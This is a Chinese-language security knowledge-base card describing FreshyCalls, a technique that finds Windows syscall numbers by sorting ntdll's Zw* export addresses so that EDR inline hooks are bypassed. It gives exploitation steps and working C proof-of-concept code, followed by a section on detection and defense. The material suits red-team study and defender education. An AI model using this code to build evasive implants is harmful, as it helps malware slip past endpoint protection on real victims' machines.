♧ Godown 安全知识树

FreshyCalls:按 Zw 导出函数地址排序推导 SSN,不读被 Hook 的 stub

pentest/c2 · verified

一句话结论

FreshyCalls 不读取 ntdll 函数开头的字节,而是解析导出表、收集全部 Zw* 函数地址并按地址升序排序;排序后的下标就等于该函数的 SSN。因为 inline hook 只改字节不改函数地址,这种方法在被 Hook 的环境下仍能稳定得到正确 SSN。

原理

  • Windows NT 系统调用号(SSN)由内核服务表顺序决定;ntdll 中的 Nt* 与 Zw* 导出通常成对存在,且函数在地址空间中的排列顺序与 SSN 顺序一致。
  • FreshyCalls 的核心观察:把 ntdll 导出表中所有 Zw* 函数的入口地址排序,最小的地址对应 SSN 0,次小对应 1,依此类推;对 Nt* 只需把名字的 Nt 前缀换成 Zw 再查表。
  • 与 Hell's Gate 的区别:Hell's Gate 依赖 stub 字节(4c 8b d1 b8)与 0x20 间距,函数头被 hook 后需要找邻居;FreshyCalls 完全不看函数体字节,只依赖导出表结构与地址排序,因此不受 inline hook 影响。
  • 为什么成立:EDR 的 inline hook 通常在函数入口写入 jmp,不改变导出表里的函数 RVA;即使 hook 通过 trampoline 改变执行流,导出表仍指向原函数地址。
  • 边界:若目标版本中存在地址排序与 SSN 顺序不一致、导出被转发/别名、或 ntdll 被替换/篡改,下标可能偏移;需要按目标 Windows 版本验证,不能跨版本硬编码。

触发条件

  • 目标为 Windows x64,能从进程内读取 ntdll 的 PE 导出表。
  • EDR 对 Nt* 函数头做了 inline hook,导致直接读 stub +4 不可靠。
  • ntdll 导出表中 Zw* 函数地址顺序与 SSN 顺序一致(常见 Windows 版本成立)。
  • 攻击者能构造并执行 syscall(直接或间接)。

利用步骤

  1. 通过 PEB 或 GetModuleHandle("ntdll.dll") 获取 ntdll 基址。
  2. 解析 DOS/NT 头与导出目录,读取 AddressOfNames、AddressOfFunctions、AddressOfNameOrdinals。
  3. 遍历导出名,筛选以 Zw 开头的函数,记录名称与 dllbase + function_rva 地址。
  4. 按地址升序排序;排序后的下标即该 Zw 函数的 SSN。
  5. 对目标 Nt* 函数,把前缀替换为 Zw 后查表;找不到时回退 Hell's Gate 或磁盘 ntdll。
  6. 用得到的 SSN 构造 syscall stub 或跳转 ntdll syscall;ret,验证功能与返回值。

PoC

typedef struct { const char* name; DWORD64 addr; } ZwStub;
static ZwStub g_zw[1024];
static int g_zw_count;

static int cmp_addr(const void* a, const void* b) {
    DWORD64 x = ((const ZwStub*)a)->addr, y = ((const ZwStub*)b)->addr;
    return (x < y) ? -1 : (x > y) ? 1 : 0;
}

static void build_ssn_table(void) {
    DWORD64 base = ntdll_base();                 // PEB / GetModuleHandle
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
    PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew);
    DWORD rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)(base + rva);
    DWORD* names = (DWORD*)(base + exp->AddressOfNames);
    DWORD* funcs = (DWORD*)(base + exp->AddressOfFunctions);
    WORD* ords  = (WORD*)(base + exp->AddressOfNameOrdinals);

    for (DWORD i = 0; i < exp->NumberOfNames && g_zw_count < 1024; i++) {
        const char* s = (const char*)(base + names[i]);
        if (s[0] != 'Z' || s[1] != 'w') continue;
        g_zw[g_zw_count].name = s;
        g_zw[g_zw_count].addr = base + funcs[ords[i]];
        g_zw_count++;
    }
    qsort(g_zw, g_zw_count, sizeof(ZwStub), cmp_addr);
}

DWORD freshy_ssn(const char* nt_name) {
    build_ssn_table();
    char zw[128];
    const char* look = nt_name;
    if (nt_name[0] == 'N' && nt_name[1] == 't') {
        zw[0] = 'Z'; zw[1] = 'w';
        strcpy_s(zw + 2, sizeof(zw) - 2, nt_name + 2);
        look = zw;
    }
    for (int i = 0; i < g_zw_count; i++)
        if (!strcmp(g_zw[i].name, look)) return (DWORD)i;
    return (DWORD)-1;
}
# 说明:排序下标 = SSN 依赖目标版本的导出顺序;需在目标系统验证,不能跨版本硬编码。

变体与关联

  • 变体:只对 Nt* 导出排序(若地址顺序一致也可用);或同时收集 Nt*/Zw* 交叉校验。
  • 变体:从磁盘干净 ntdll 的导出表构建表,再用于已 hook 的内存调用;或结合 KnownDlls。
  • 变体:FreshyCalls 只解决 SSN 解析;syscall 指令仍可选择直接(本模块)或间接(ntdll gadget),检测面不同。
  • 关联:[[pentest-c2-indirect-syscall-ntdll-hook-bypass]](直接/间接 syscall 与动态解析 SSN 的通用卡)、[[pentest-c2-hells-gate-neighbor-ssn-recovery]](stub 字节被 hook 时的邻居扫描方案)。
  • 边界:导出表被篡改、地址顺序与 SSN 不一致、转发导出/别名、或 Zw* 导出不完整时,下标会偏移;只绕过用户态 hook。

检测与防御

  • 检测:进程读取 ntdll 导出表并遍历大量 Zw* 名称;syscall 指令从非 ntdll 页执行;调用栈异常;短时间解析大量导出。
  • 检测:对比内存 ntdll 与磁盘副本;监控对 ntdll 的修改;ETW/内核回调与调用栈校验。
  • 防御:不要只依赖 inline hook;启用内核级遥测、调用栈校验、内存扫描与行为检测;对直接 syscall 做启发式告警。
  • 加固:限制未签名/可疑二进制执行;对高价值进程启用代码完整性与更严格的 EDR 策略。